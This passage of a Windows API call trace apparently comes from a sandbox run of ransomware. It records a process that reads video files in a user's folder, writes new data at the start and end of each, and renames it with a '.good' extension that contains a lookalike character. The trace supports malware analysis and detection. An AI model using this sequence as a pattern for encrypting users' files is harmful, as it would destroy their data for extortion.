lpOldMode=0x1f9edc00) returned 1 [0164.514] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\d 1_UCv2zkR.mp4" (normalized: "c:\\users\\fd1hvy\\videos\\horlchtm5be\\d 1_ucv2zkr.mp4"), lpNewFileName="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\d 1_UCv2zkR.mp4.gоod" (normalized: "c:\\users\\fd1hvy\\videos\\horlchtm5be\\d 1_ucv2zkr.mp4.gоod")) returned 1 [0164.515] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\MwdSnU_w y.avi", nBufferLength=0x105, lpBuffer=0x1f9ed7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\MwdSnU_w y.avi", lpFilePart=0x0) returned 0x31 [0164.515] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edc80) returned 1 [0164.515] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\MwdSnU_w y.avi" (normalized: "c:\\users\\fd1hvy\\videos\\horlchtm5be\\mwdsnu_w y.avi"), fInfoLevelId=0x0, lpFileInformation=0x33c9198 | out: lpFileInformation=0x33c9198*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcfdb4c50, ftCreationTime.dwHighDateTime=0x1d4cb43, ftLastAccessTime.dwLowDateTime=0x7413fa50, ftLastAccessTime.dwHighDateTime=0x1d4cc85, ftLastWriteTime.dwLowDateTime=0x7413fa50, ftLastWriteTime.dwHighDateTime=0x1d4cc85, nFileSizeHigh=0x0, nFileSizeLow=0x11f71)) returned 1 [0164.515] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edc40) returned 1 [0164.515] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\MwdSnU_w y.avi", nBufferLength=0x105, lpBuffer=0x1f9ed660, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\MwdSnU_w y.avi", lpFilePart=0x0) returned 0x31 [0164.515] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edb80) returned 1 [0164.515] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\MwdSnU_w y.avi" (normalized: "c:\\users\\fd1hvy\\videos\\horlchtm5be\\mwdsnu_w y.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x61c [0164.515] GetFileType (hFile=0x61c) returned 0x1 [0164.515] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edaf0) returned 1 [0164.515] GetFileType (hFile=0x61c) returned 0x1 [0164.515] SetFilePointer (in: hFile=0x61c, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f9edcd8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f9edcd8*=0) returned 0x1000 [0164.515] ReadFile (in: hFile=0x61c, lpBuffer=0x33c9560, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f9edca8, lpOverlapped=0x0 | out: lpBuffer=0x33c9560*, lpNumberOfBytesRead=0x1f9edca8*=0x1000, lpOverlapped=0x0) returned 1 [0164.515] CloseHandle (hObject=0x61c) returned 1 [0164.516] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\MwdSnU_w y.avi", nBufferLength=0x105, lpBuffer=0x1f9ed660, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\MwdSnU_w y.avi", lpFilePart=0x0) returned 0x31 [0164.516] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edb80) returned 1 [0164.516] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\MwdSnU_w y.avi" (normalized: "c:\\users\\fd1hvy\\videos\\horlchtm5be\\mwdsnu_w y.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x61c [0164.516] GetFileType (hFile=0x61c) returned 0x1 [0164.516] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edaf0) returned 1 [0164.516] GetFileType (hFile=0x61c) returned 0x1 [0164.516] SetFilePointer (in: hFile=0x61c, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f9edcd8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f9edcd8*=0) returned 0x11f71 [0164.516] WriteFile (in: hFile=0x61c, lpBuffer=0x33ca7d0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f9edbc8, lpOverlapped=0x0 | out: lpBuffer=0x33ca7d0*, lpNumberOfBytesWritten=0x1f9edbc8*=0x10, lpOverlapped=0x0) returned 1 [0164.516] CloseHandle (hObject=0x61c) returned 1 [0164.516] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\MwdSnU_w y.avi", nBufferLength=0x105, lpBuffer=0x1f9ed660, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\MwdSnU_w y.avi", lpFilePart=0x0) returned 0x31 [0164.516] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edb80) returned 1 [0164.516] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\MwdSnU_w y.avi" (normalized: "c:\\users\\fd1hvy\\videos\\horlchtm5be\\mwdsnu_w y.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x61c [0164.516] GetFileType (hFile=0x61c) returned 0x1 [0164.516] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edaf0) returned 1 [0164.517] GetFileType (hFile=0x61c) returned 0x1 [0164.517] ReadFile (in: hFile=0x61c, lpBuffer=0x33cca68, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f9edc58, lpOverlapped=0x0 | out: lpBuffer=0x33cca68*, lpNumberOfBytesRead=0x1f9edc58*=0x1000, lpOverlapped=0x0) returned 1 [0165.698] CloseHandle (hObject=0x61c) returned 1 [0165.698] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\MwdSnU_w y.avi", nBufferLength=0x105, lpBuffer=0x1f9ed660, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\MwdSnU_w y.avi", lpFilePart=0x0) returned 0x31 [0165.698] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edb80) returned 1 [0165.698] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\MwdSnU_w y.avi" (normalized: "c:\\users\\fd1hvy\\videos\\horlchtm5be\\mwdsnu_w y.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x61c [0165.698] GetFileType (hFile=0x61c) returned 0x1 [0165.698] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edaf0) returned 1 [0165.698] GetFileType (hFile=0x61c) returned 0x1 [0165.698] WriteFile (in: hFile=0x61c, lpBuffer=0x336b1b0*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f9edd08, lpOverlapped=0x0 | out: lpBuffer=0x336b1b0*, lpNumberOfBytesWritten=0x1f9edd08*=0x1010, lpOverlapped=0x0) returned 1 [0165.698] CloseHandle (hObject=0x61c) returned 1 [0165.698] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\MwdSnU_w y.avi", nBufferLength=0x105, lpBuffer=0x1f9ed7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\MwdSnU_w y.avi", lpFilePart=0x0) returned 0x31 [0165.698] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\MwdSnU_w y.avi.gоod", nBufferLength=0x105, lpBuffer=0x1f9ed7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\MwdSnU_w y.avi.gоod", lpFilePart=0x0) returned 0x36 [0165.699] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edc40) returned 1 [0165.699] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\MwdSnU_w y.avi" (normalized: "c:\\users\\fd1hvy\\videos\\horlchtm5be\\mwdsnu_w y.avi"), fInfoLevelId=0x0, lpFileInformation=0x1f9edd20 | out: lpFileInformation=0x1f9edd20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcfdb4c50, ftCreationTime.dwHighDateTime=0x1d4cb43, ftLastAccessTime.dwLowDateTime=0x7413fa50, ftLastAccessTime.dwHighDateTime=0x1d4cc85, ftLastWriteTime.dwLowDateTime=0x5efad626, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x11f81)) returned 1 [0165.699] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edc00) returned 1 [0165.699] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\MwdSnU_w y.avi" (normalized: "c:\\users\\fd1hvy\\videos\\horlchtm5be\\mwdsnu_w y.avi"), lpNewFileName="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\MwdSnU_w y.avi.gоod" (normalized: "c:\\users\\fd1hvy\\videos\\horlchtm5be\\mwdsnu_w y.avi.gоod")) returned 1 [0165.699] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\mxjdThwDv2nqDbJee0.swf", nBufferLength=0x105, lpBuffer=0x1f9ed7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\mxjdThwDv2nqDbJee0.swf", lpFilePart=0x0) returned 0x39 [0165.699] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edc80) returned 1 [0165.700] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\mxjdThwDv2nqDbJee0.swf" (normalized: "c:\\users\\fd1hvy\\videos\\horlchtm5be\\mxjdthwdv2nqdbjee0.swf"), fInfoLevelId=0x0, lpFileInformation=0x3472088 | out: lpFileInformation=0x3472088*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe0be6650, ftCreationTime.dwHighDateTime=0x1d4d22e, ftLastAccessTime.dwLowDateTime=0x7e97b4e0, ftLastAccessTime.dwHighDateTime=0x1d4c874, ftLastWriteTime.dwLowDateTime=0x7e97b4e0, ftLastWriteTime.dwHighDateTime=0x1d4c874, nFileSizeHigh=0x0, nFileSizeLow=0x7b68)) returned 1 [0165.700] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edc40) returned 1 [0165.700] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\mxjdThwDv2nqDbJee0.swf", nBufferLength=0x105, lpBuffer=0x1f9ed660, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\mxjdThwDv2nqDbJee0.swf", lpFilePart=0x0) returned 0x39 [0165.700] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edb80) returned 1 [0165.700] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\mxjdThwDv2nqDbJee0.swf" (normalized: "c:\\users\\fd1hvy\\videos\\horlchtm5be\\mxjdthwdv2nqdbjee0.swf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x61c [0165.700] GetFileType (hFile=0x61c) returned 0x1 [0165.700] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edaf0) returned 1 [0165.700] GetFileType (hFile=0x61c) returned 0x1 [0165.700] SetFilePointer (in: hFile=0x61c, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f9edcd8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f9edcd8*=0) returned 0x1000 [0165.700] ReadFile (in: hFile=0x61c, lpBuffer=0x3472490, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f9edca8, lpOverlapped=0x0 | out: lpBuffer=0x3472490*, lpNumberOfBytesRead=0x1f9edca8*=0x1000, lpOverlapped=0x0) returned 1 [0165.700] CloseHandle (hObject=0x61c) returned 1 [0165.701] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\mxjdThwDv2nqDbJee0.swf", nBufferLength=0x105, lpBuffer=0x1f9ed660, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\mxjdThwDv2nqDbJee0.swf", lpFilePart=0x0) returned 0x39 [0165.701] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edb80) returned 1 [0165.701] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\mxjdThwDv2nqDbJee0.swf" (normalized: "c:\\users\\fd1hvy\\videos\\horlchtm5be\\mxjdthwdv2nqdbjee0.swf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x61c [0165.701] GetFileType (hFile=0x61c) returned 0x1 [0165.701] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edaf0) returned 1 [0165.701] GetFileType (hFile=0x61c) returned 0x1 [0165.701] SetFilePointer (in: hFile=0x61c, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f9edcd8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f9edcd8*=0) returned 0x7b68 [0165.701] WriteFile (in: hFile=0x61c, lpBuffer=0x3473720*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f9edbc8, lpOverlapped=0x0 | out: lpBuffer=0x3473720*, lpNumberOfBytesWritten=0x1f9edbc8*=0x10, lpOverlapped=0x0) returned 1 [0165.701] CloseHandle (hObject=0x61c) returned 1 [0165.701] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\mxjdThwDv2nqDbJee0.swf", nBufferLength=0x105, lpBuffer=0x1f9ed660, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\mxjdThwDv2nqDbJee0.swf", lpFilePart=0x0) returned 0x39 [0165.701] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edb80) returned 1 [0165.701] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\mxjdThwDv2nqDbJee0.swf" (normalized: "c:\\users\\fd1hvy\\videos\\horlchtm5be\\mxjdthwdv2nqdbjee0.swf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x61c [0165.702] GetFileType (hFile=0x61c) returned 0x1 [0165.702] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edaf0) returned 1 [0165.702] GetFileType (hFile=0x61c) returned 0x1 [0165.702] ReadFile (in: hFile=0x61c, lpBuffer=0x34759d8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f9edc58, lpOverlapped=0x0 | out: lpBuffer=0x34759d8*, lpNumberOfBytesRead=0x1f9edc58*=0x1000, lpOverlapped=0x0) returned 1 [0166.021] CloseHandle (hObject=0x61c) returned 1 [0166.021] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\mxjdThwDv2nqDbJee0.swf", nBufferLength=0x105, lpBuffer=0x1f9ed660, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\mxjdThwDv2nqDbJee0.swf", lpFilePart=0x0) returned 0x39 [0166.021] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edb80) returned 1 [0166.022] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\mxjdThwDv2nqDbJee0.swf" (normalized: "c:\\users\\fd1hvy\\videos\\horlchtm5be\\mxjdthwdv2nqdbjee0.swf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x61c [0166.022] GetFileType (hFile=0x61c) returned 0x1 [0166.022] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edaf0) returned 1 [0166.022] GetFileType (hFile=0x61c) returned 0x1 [0166.022] WriteFile (in: hFile=0x61c, lpBuffer=0x33c97f8*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f9edd08, lpOverlapped=0x0 | out: lpBuffer=0x33c97f8*, lpNumberOfBytesWritten=0x1f9edd08*=0x1010, lpOverlapped=0x0) returned 1 [0166.022] CloseHandle (hObject=0x61c) returned 1 [0166.022] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\mxjdThwDv2nqDbJee0.swf", nBufferLength=0x105, lpBuffer=0x1f9ed7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\mxjdThwDv2nqDbJee0.swf", lpFilePart=0x0) returned 0x39 [0166.022] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\mxjdThwDv2nqDbJee0.swf.gоod", nBufferLength=0x105, lpBuffer=0x1f9ed7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\mxjdThwDv2nqDbJee0.swf.gоod", lpFilePart=0x0) returned 0x3e [0166.022] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edc40) returned 1 [0166.022] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\mxjdThwDv2nqDbJee0.swf" (normalized: "c:\\users\\fd1hvy\\videos\\horlchtm5be\\mxjdthwdv2nqdbjee0.swf"), fInfoLevelId=0x0, lpFileInformation=0x1f9edd20 | out: lpFileInformation=0x1f9edd20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe0be6650, ftCreationTime.dwHighDateTime=0x1d4d22e, ftLastAccessTime.dwLowDateTime=0x7e97b4e0, ftLastAccessTime.dwHighDateTime=0x1d4c874, ftLastWriteTime.dwLowDateTime=0x5f2a84f7, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x7b78)) returned 1 [0166.022] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edc00) returned 1 [0166.022] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\mxjdThwDv2nqDbJee0.swf" (normalized: "c:\\users\\fd1hvy\\videos\\horlchtm5be\\mxjdthwdv2nqdbjee0.swf"), lpNewFileName="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\mxjdThwDv2nqDbJee0.swf.gоod" (normalized: "c:\\users\\fd1hvy\\videos\\horlchtm5be\\mxjdthwdv2nqdbjee0.swf.gоod")) returned 1 [0166.023] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\O9_KScJ.mkv", nBufferLength=0x105, lpBuffer=0x1f9ed7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\O9_KScJ.mkv", lpFilePart=0x0) returned 0x2e [0166.023] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edc80) returned 1 [0166.023] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\O9_KScJ.mkv" (normalized: "c:\\users\\fd1hvy\\videos\\horlchtm5be\\o9_kscj.mkv"), fInfoLevelId=0x0, lpFileInformation=0x34e4bb8 | out: lpFileInformation=0x34e4bb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x89300af0, ftCreationTime.dwHighDateTime=0x1d4c5fa, ftLastAccessTime.dwLowDateTime=0x6d2e01b0, ftLastAccessTime.dwHighDateTime=0x1d4d11f, ftLastWriteTime.dwLowDateTime=0x6d2e01b0, ftLastWriteTime.dwHighDateTime=0x1d4d11f, nFileSizeHigh=0x0, nFileSizeLow=0x138da)) returned 1 [0166.023] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edc40) returned 1 [0166.023] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\O9_KScJ.mkv", nBufferLength=0x105, lpBuffer=0x1f9ed660, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\O9_KScJ.mkv", lpFilePart=0x0) returned 0x2e [0166.023] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edb80) returned 1 [0166.023] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\O9_KScJ.mkv" (normalized: "c:\\users\\fd1hvy\\videos\\horlchtm5be\\o9_kscj.mkv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x61c [0166.024] GetFileType (hFile=0x61c) returned 0x1 [0166.024] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edaf0) returned 1 [0166.024] GetFileType (hFile=0x61c) returned 0x1 [0166.024] SetFilePointer (in: hFile=0x61c, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f9edcd8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f9edcd8*=0) returned 0x1000 [0166.024] ReadFile (in: hFile=0x61c, lpBuffer=0x34e4f60, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f9edca8, lpOverlapped=0x0 | out: lpBuffer=0x34e4f60*, lpNumberOfBytesRead=0x1f9edca8*=0x1000, lpOverlapped=0x0) returned 1 [0166.024] CloseHandle (hObject=0x61c) returned 1 [0166.024] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\O9_KScJ.mkv", nBufferLength=0x105, lpBuffer=0x1f9ed660, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\O9_KScJ.mkv", lpFilePart=0x0) returned 0x2e [0166.024] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edb80) returned 1 [0166.024] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\O9_KScJ.mkv" (normalized: "c:\\users\\fd1hvy\\videos\\horlchtm5be\\o9_kscj.mkv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x61c [0166.024] GetFileType (hFile=0x61c) returned 0x1 [0166.024] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edaf0) returned 1 [0166.024] GetFileType (hFile=0x61c) returned 0x1 [0166.024] SetFilePointer (in: hFile=0x61c, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f9edcd8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f9edcd8*=0) returned 0x138da [0166.025] WriteFile (in: hFile=0x61c, lpBuffer=0x34e61c0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f9edbc8, lpOverlapped=0x0 | out: lpBuffer=0x34e61c0*, lpNumberOfBytesWritten=0x1f9edbc8*=0x10, lpOverlapped=0x0) returned 1 [0166.025] CloseHandle (hObject=0x61c) returned 1 [0166.025] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\O9_KScJ.mkv", nBufferLength=0x105, lpBuffer=0x1f9ed660, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\O9_KScJ.mkv", lpFilePart=0x0) returned 0x2e [0166.025] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edb80) returned 1 [0166.025] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\O9_KScJ.mkv" (normalized: "c:\\users\\fd1hvy\\videos\\horlchtm5be\\o9_kscj.mkv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x61c [0166.025] GetFileType (hFile=0x61c) returned 0x1 [0166.025] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edaf0) returned 1 [0166.025] GetFileType (hFile=0x61c) returned 0x1 [0166.025] ReadFile (in: hFile=0x61c, lpBuffer=0x34e8448, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f9edc58, lpOverlapped=0x0 | out: lpBuffer=0x34e8448*, lpNumberOfBytesRead=0x1f9edc58*=0x1000, lpOverlapped=0x0) returned 1 [0166.248] CloseHandle (hObject=0x61c) returned 1 [0166.248] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\O9_KScJ.mkv", nBufferLength=0x105, lpBuffer=0x1f9ed660, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\O9_KScJ.mkv", lpFilePart=0x0) returned 0x2e [0166.248] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edb80) returned 1 [0166.248] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\O9_KScJ.mkv" (normalized: "c:\\users\\fd1hvy\\videos\\horlchtm5be\\o9_kscj.mkv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x61c [0166.249] GetFileType (hFile=0x61c) returned 0x1 [0166.249] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edaf0) returned 1 [0166.249] GetFileType (hFile=0x61c) returned 0x1 [0166.249] WriteFile (in: hFile=0x61c, lpBuffer=0x33cb450*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f9edd08, lpOverlapped=0x0 | out: lpBuffer=0x33cb450*, lpNumberOfBytesWritten=0x1f9edd08*=0x1010, lpOverlapped=0x0) returned 1 [0166.249] CloseHandle (hObject=0x61c) returned 1 [0166.249] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\O9_KScJ.mkv", nBufferLength=0x105, lpBuffer=0x1f9ed7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\O9_KScJ.mkv", lpFilePart=0x0) returned 0x2e [0166.249] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\O9_KScJ.mkv.gоod", nBufferLength=0x105, lpBuffer=0x1f9ed7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\O9_KScJ.mkv.gоod", lpFilePart=0x0) returned 0x33 [0166.249] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edc40) returned 1 [0166.249] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\O9_KScJ.mkv" (normalized: "c:\\users\\fd1hvy\\videos\\horlchtm5be\\o9_kscj.mkv"), fInfoLevelId=0x0, lpFileInformation=0x1f9edd20 | out: lpFileInformation=0x1f9edd20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x89300af0, ftCreationTime.dwHighDateTime=0x1d4c5fa, ftLastAccessTime.dwLowDateTime=0x6d2e01b0, ftLastAccessTime.dwHighDateTime=0x1d4d11f, ftLastWriteTime.dwLowDateTime=0x5f4e47d3, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x138ea)) returned 1 [0166.249] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edc00) returned 1 [0166.249] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\O9_KScJ.mkv" (normalized: "c:\\users\\fd1hvy\\videos\\horlchtm5be\\o9_kscj.mkv"), 